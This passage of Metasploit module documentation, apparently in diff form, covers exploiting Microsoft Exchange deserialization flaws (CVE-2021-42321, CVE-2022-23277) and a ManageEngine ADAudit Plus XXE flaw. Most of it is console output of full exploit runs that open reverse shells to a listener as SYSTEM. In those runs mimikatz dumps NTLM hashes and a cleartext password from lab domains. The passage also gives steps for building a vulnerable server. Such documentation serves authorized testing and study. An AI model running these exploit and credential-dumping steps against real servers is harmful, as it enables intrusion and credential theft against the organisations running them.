[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Powershell session session 1 opened (172.31.171.42:4444 -> 172.31.160.218:30212 ) at 2022-02-14 18:01:56 -0600
PS C:\windows\system32\inetsrv> whoami
nt authority\system
PS C:\windows\system32\inetsrv> exit
[*] 172.31.160.218 - Powershell session session 1 closed. Reason: User exit
```
#### Target 1 - Windows Dropper
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOST 172.31.160.218
RHOST => 172.31.160.218
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.31.171.42
LHOST => 172.31.171.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
HttpUsername => administrator
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
HttpPassword => thePassword123!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set TARGET 1
TARGET => 1
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 172.31.160.218 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proc
ess, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST 172.31.171.42 yes The local listener hostname
LPORT 4444 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
1 Windows Dropper
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
[*] Started HTTPS reverse handler on https://172.31.171.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exchange Server 15.2.986.5 is a vulnerable build.
[*] Using URL: http://0.0.0.0:8080/QULKk6
[*] Local IP: http://172.31.171.42:8080/QULKk6
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD+NAPdfxHOQog5PRD09yZZAAADvk7o
[+] ID value for Inbox folder is AQMkADk4Nzg3MTk4LTdmMWItNDIwOC1hNjYAZC1hMDU4ZWYyMGEyNDYALgAAA63xDZKmFz1AgDziIaoT/0sBAP40A91/Ec5CiDk9EPT3JlkAAAIBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Client 172.31.160.218 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.2268) requested /QULKk6
[*] Sending payload to 172.31.160.218 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.2268)
[*] Command Stager progress - 100.00% done (145/145 bytes)
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Without a database connected that payload UUID tracking will not work!
[*] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Redirecting stageless connection from /LLPgD_mj7kz9ZPxmn24Q9Qv80ANZ8PU38jaMQ3JCPiwWGPz3Gm6fNlGNzXZ9e_8y5xxnpC6a-JVHNcPmhyMpFnMCwvLNQeZRvnB9 with UA 'Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1'
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Without a database connected that payload UUID tracking will not work!
[*] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Attaching orphaned/stageless session...
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (172.31.171.42:4444 -> 127.0.0.1 ) at 2022-02-14 18:02:25 -0600
[*] Server stopped.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
Administrator TESTINGDOMAIN 373b765d01cd8aefe 220cface685ef2b97 c5c54fb2b86a1a4a85
a318e3843980454 a998f965b0d9b996b e6b23ad360777e
55d560
DC1$ TESTINGDOMAIN bc7047881521a2844 1489def7ac6e5dd8e
573cd9b08cb33ed ebf9d421549375da8
9bef2d
HealthMailbox25a TESTINGDOMAIN c9cd8580d9a519f7d f5a89bd625da37ca3 c0f96c3c13864ffe1f
d078 3fe3b47e4e55f21 e9de89be8bba67e1b 6b62f2d0811bb1
7d509b
ssp credentials
===============
Username Domain Password
-------- ------ --------
HealthMailbox25ad0782aada405 (null) 5sYVnq4G=D1UacRrD(I-.hf&wQRe4DN_xn8I=G#JrD?B)-MWU$f
eaaa7287c8c514daf@testingdom >)Ojhaah_2a]9cuP)&YR_)71BnJ=@Tdhw8C^{RJ[(^Z;Z-X}F9o
ain.internal OeVGtzP=qPZ@9xT-uR)niraV42
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN (null)
DC1$ TESTINGDOMAIN (null)
HealthMailbox25ad078 TESTINGDOMAIN (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN.INTERNAL (null)
DC1$ testingdomain.internal 4d ce f7 a8 f4 e9 57 3e f2 7d fa 08 fd 44 7
2 d1 9d d2 7b ce 0c fd 86 cb 7c 6c a8 26 50
ea 21 c6 f2 b1 63 a8 67 ab 2f ac d8 0e b0
33 02 b1 6c f6 4f f6 3d 9d f1 55 e3 ee ef 0
8 d3 a9 96 e0 e4 d2 a2 1f 50 b0 8d 70 00 e6
88 1b a4 63 27 bf ed 60 3e 57 12 b2 25 ec
b7 52 4f 01 e7 3c 93 0a ea 48 e5 2c 6d 18 7
3 80 c3 5f 2e cd 81 93 4e 81 52 32 e2 49 8e
61 63 ac 5e 72 59 f3 40 d5 be 2a cd ba a2
e4 f7 08 a6 af 1c 10 4f 79 4c 62 60 84 ad 6
6 9f 29 ae 03 2c b0 83 44 be 4b e8 64 1d 29
9b 8f 77 2c 92 5c 80 ca 93 d6 7c fe 1f 6b
f6 48 52 22 62 14 ba ea 4b 7a 2b 69 98 60 4
6 43 8e 1f 22 87 a8 57 35 06 9e 6e 83 f1 9e
25 01 34 55 eb 93 a8 f9 65 ab 56 9e 7b b8
83 86 63 b4 e2 0a e9 a7 cb a0 34 89 35 72 a
a 3b f2 df ea c1 f6 77 a6 bb cb
HealthMailbox25ad078 TESTINGDOMAIN.INTERNAL (null)
dc1$ TESTINGDOMAIN.INTERNAL (null)
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 172.31.160.218 - Meterpreter session 2 closed. Reason: User exit
```
#### Target 2 - PowerShell Stager
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOST 172.31.160.218
RHOST => 172.31.160.218
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.31.171.42
LHOST => 172.31.171.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
HttpUsername => administrator
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
HttpPassword => thePassword123!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set target 2
target => 2
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 172.31.160.218 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proces
s, none)
LHOST 172.31.171.42 yes The local listener hostname
LPORT 4444 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
2 PowerShell Stager
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
[*] Started HTTPS reverse handler on https://172.31.171.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exchange Server 15.2.986.5 is a vulnerable build.
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD+NAPdfxHOQog5PRD09yZZAAADvk7x
[+] ID value for Inbox folder is AQMkADk4Nzg3MTk4LTdmMWItNDIwOC1hNjYAZC1hMDU4ZWYyMGEyNDYALgAAA63xDZKmFz1AgDziIaoT/0sBAP40A91/Ec5CiDk9EPT3JlkAAAIBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: urrkmn2k) Without a database connected that payload UUID tracking will not work!
[*] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: urrkmn2k) Staging x64 payload (201308 bytes) ...
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: urrkmn2k) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (172.31.171.42:4444 -> 127.0.0.1 ) at 2022-02-14 18:03:03 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
Administrator TESTINGDOMAIN 373b765d01cd8aefe 220cface685ef2b97 c5c54fb2b86a1a4a85
a318e3843980454 a998f965b0d9b996b e6b23ad360777e
55d560
DC1$ TESTINGDOMAIN bc7047881521a2844 1489def7ac6e5dd8e
573cd9b08cb33ed ebf9d421549375da8
9bef2d
HealthMailbox25a TESTINGDOMAIN c9cd8580d9a519f7d f5a89bd625da37ca3 c0f96c3c13864ffe1f
d078 3fe3b47e4e55f21 e9de89be8bba67e1b 6b62f2d0811bb1
7d509b
ssp credentials
===============
Username Domain Password
-------- ------ --------
HealthMailbox25ad0782aada405 (null) 5sYVnq4G=D1UacRrD(I-.hf&wQRe4DN_xn8I=G#JrD?B)-MWU$f
eaaa7287c8c514daf@testingdom >)Ojhaah_2a]9cuP)&YR_)71BnJ=@Tdhw8C^{RJ[(^Z;Z-X}F9o
ain.internal OeVGtzP=qPZ@9xT-uR)niraV42
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN (null)
DC1$ TESTINGDOMAIN (null)
HealthMailbox25ad078 TESTINGDOMAIN (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN.INTERNAL (null)
DC1$ testingdomain.internal 4d ce f7 a8 f4 e9 57 3e f2 7d fa 08 fd 44 7
2 d1 9d d2 7b ce 0c fd 86 cb 7c 6c a8 26 50
ea 21 c6 f2 b1 63 a8 67 ab 2f ac d8 0e b0
33 02 b1 6c f6 4f f6 3d 9d f1 55 e3 ee ef 0
8 d3 a9 96 e0 e4 d2 a2 1f 50 b0 8d 70 00 e6
88 1b a4 63 27 bf ed 60 3e 57 12 b2 25 ec
b7 52 4f 01 e7 3c 93 0a ea 48 e5 2c 6d 18 7
3 80 c3 5f 2e cd 81 93 4e 81 52 32 e2 49 8e
61 63 ac 5e 72 59 f3 40 d5 be 2a cd ba a2
e4 f7 08 a6 af 1c 10 4f 79 4c 62 60 84 ad 6
6 9f 29 ae 03 2c b0 83 44 be 4b e8 64 1d 29
9b 8f 77 2c 92 5c 80 ca 93 d6 7c fe 1f 6b
f6 48 52 22 62 14 ba ea 4b 7a 2b 69 98 60 4
6 43 8e 1f 22 87 a8 57 35 06 9e 6e 83 f1 9e
25 01 34 55 eb 93 a8 f9 65 ab 56 9e 7b b8
83 86 63 b4 e2 0a e9 a7 cb a0 34 89 35 72 a
a 3b f2 df ea c1 f6 77 a6 bb cb
HealthMailbox25ad078 TESTINGDOMAIN.INTERNAL (null)
dc1$ TESTINGDOMAIN.INTERNAL (null)
meterpreter >
```
@@ -0,0 +1,317 @@
## Vulnerable Application
### Description
This module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10,
Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU.
Note that authentication is required to exploit these vulnerabilities.
By leveraging this vulnerability, attackers can bypass the `ChainedSerializationBinder`'s deserialization deny list and
execute code as `NT AUTHORITY\SYSTEM`.
#### CVE-2021-42321 (Deny List Typo)
This specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an
entry was incorrectly defined as `System.Security.ClaimsPrincipal` instead of the proper value of
`System.Security.Claims.ClaimsPrincipal`.
Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server
2016.
#### CVE-2022-23277 (Type Spoof Bypass)
Due to `ChainedSerializationBinder.BindToType(string, string)` and `ObjectReader.FastBindToType(string, string)` using
different algorithms, it is possible to bypass validation checks and load a malicious object.
Tested against Exchange Server 2019 CU11 SU3, build 15.2.986.15 via [KB5008631].
### Setup
1. Set up a version of Windows Server 2019.
2. Download Exchange Server 2019 CU11 SU0 from https://download.microsoft.com/download/5/3/e/53e75dbd-ca33-496a-bd23-1d861feaa02a/ExchangeServer2019-x64-CU11.ISO
3. Follow the guide at https://petri.com/how-to-install-active-directory-in-windows-server-2019-server-manager to turn
the server into an AD server.
4. Mount the ISO and run `Setup.exe`. It should prompt you install .NET Framework, Visual Studio C++ Redistributables,
and Unified Communications Managed API. Install these and then reboot.
5. Follow https://www.nucleustechnologies.com/blog/step-by-step-guide-to-install-exchange-server-2019-part-1/ and
install the required features.
6. Keep running `Setup.exe` and installing extra dependencies as needed as per the links.
7. When you do get all dependencies installed, Exchange should give a button called `Install` which should no longer be
greyed out. Press this to install and accept any warnings that appear.
8. Go to https://*ip here*/owa/ and make sure you can see the Exchange Outlook login page.
## Verification Steps
1. Follow [Setup](#setup) to set up a vulnerable target.
2. `msfconsole`
3. `set RHOST <target IP address>`
4. `set LHOST <IP for target to connect back to>`
5. `set HttpUsername <username of OWA user to log in as>`
6. `set HttpPassword <password for this OWA user>`
7. Optional: `set DOMAIN <domain of OWA user>`
8. Optional: `set VHOST <vhost of target>`
9. `exploit`
10. You should get a shell on the target as `NT AUTHORITY\SYSTEM` if it is vulnerable.
## Targets
### 0
Windows Command
### 1
Windows Dropper
### 2
PowerShell Stager
## Options
### HttpUsername
Set this to the OWA username. This can also be set to a valid domain username that has permissions to log into Exchange.
### HttpPassword
Set this to the OWA password. This can also be set to the password for a domain user that has permissions to log into Exchange.
## Scenarios
### Exchange Server 2016 CU22 (Build 15.1.2375.7) on Windows Server 2016 x64 (CVE-2021-42321)
```
msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
HttpPassword => Password1
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
DOMAIN => EXCHG
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword Password1 yes The password to use to authenticate to the Exchange server
HttpUsername aliddle yes The username to log into the Exchange server as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.42 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is vulnerable to CVE-2021-42321
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAAACmbL
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[!] Was not able to successfully delete the existing user configuration on the Inbox folder!
[!] Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:60610) at 2022-08-16 15:56:01 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BPID95ACQ7E
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : EXCHG
Logged On Users : 4
Meterpreter : x86/windows
meterpreter >
```
### Exchange Server 2016 CU22 Jan22SU (Build 15.1.2375.18) on Windows Server 2016 x64 (CVE-2022-23277)
```
msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
HttpPassword => Password1
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
DOMAIN => EXCHG
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword Password1 yes The password to use to authenticate to the Exchange server
HttpUsername aliddle yes The username to log into the Exchange server as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.42 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.18 is vulnerable to CVE-2022-23277
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAB3/PSE
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:59440) at 2022-08-16 15:47:55 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BPID95ACQ7E
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : EXCHG
Logged On Users : 7
Meterpreter : x86/windows
meterpreter >
```
### Exchange Server 2019 CU11 Jan22SU (Build 15.2.986.15) on Windows Server 2019 x64 (CVE-2022-23277)
```
msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1!
HttpPassword => Password1!
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN MSFLAB.LOCAL
DOMAIN => MSFLAB.LOCAL
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword Password1! yes The password to use to authenticate to the Exchange server
HttpUsername aliddle yes The username to log into the Exchange server as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.11 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.2.986.15 is vulnerable to CVE-2022-23277
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAACLmD9luiUIToCqtjHJMHTFAAADDlsC
[+] ID value for Inbox folder is AQMkAGMzMmEwZDQyLTJmMmYtNDdlNi04Nzg0LTNiMmNmMTkwZmNjAGIALgAAAwy2SlsLo7NNtRvmAZGoLDABAIuYP2W6JQhOgKq2MckwdMUAAAIBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:63854) at 2022-08-16 15:49:45 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : EXCHANGE2019
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x86/windows
meterpreter >
```
[KB5008631]: https://support.microsoft.com/en-gb/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-january-11-2022-kb5008631-2ee4d1f3-8341-4a4d-86be-4b73bc944f1b
@@ -0,0 +1,70 @@
## Vulnerable Application
The vulnerable application is ManageEngine ADAudit Plus prior to build 7060. I built and tested this on build 7055, which, at least at the time of this writing, you can download [here](https://archives2.manageengine.com/active-directory-audit/). It's a .exe file that you can install with all the defaults.
You also need to configure ADAudit to actually audit a domain. That means setting up a domain (I created a domain controller in the lab), and configuring ADAudit to scan that domain. That domain name must be set to the `DOMAIN` when using this exploit.
The last thing is, three connect-back ports must be open from the target back to Metasploit (in addition to whatever payload ports). By default, we use ports 8080 and 8888 for HTTP, and 2121 for FTP.
## Verification Steps
1. Install the application
2. Do: `set RHOSTS <IP>`
3. Do: `set DOMAIN <DOMAIN_NAME>`
4. Do: `exploit`
5. You should get a meterpreter session
## Scenarios
```
msf6 > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148
RHOSTS => 10.0.0.148
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local
DOMAIN => ad.example.local
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. The vulnerable endpoint responds with HTTP/200.
[*] Attempting to exploit XXE to get a list of users
[*] Using URL: http://10.0.0.146:8080/KEmvnPFxS.dtd
[*] User accounts discovered: Ron
[*] Enumerating old payloads cached on the server (to skip later)
